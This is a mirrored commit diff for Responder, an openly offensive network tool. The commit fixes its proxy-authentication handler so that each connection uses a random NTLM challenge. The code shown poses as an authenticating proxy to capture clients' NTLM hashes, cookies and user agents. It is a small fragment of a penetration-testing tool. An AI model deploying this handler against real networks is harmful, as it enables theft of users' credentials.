mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-07 13:31:23 -07:00
Fix Proxy_Auth. Random challenge broke it.
This commit is contained in:
parent
0d441d1899
commit
5a2ee18bfa
1 changed files with 5 additions and 4 deletions
|
@ -47,7 +47,7 @@ def GrabHost(data):
|
||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client, Challenge):
|
||||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
|
@ -56,14 +56,14 @@ def PacketSequence(data, client):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
Buffer_Ans.calculate(str(Buffer))
|
||||||
return str(Buffer_Ans)
|
return str(Buffer_Ans)
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == "\x03":
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
|
@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
for x in range(2):
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
self.request.send(PacketSequence(data, self.client_address[0]))
|
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue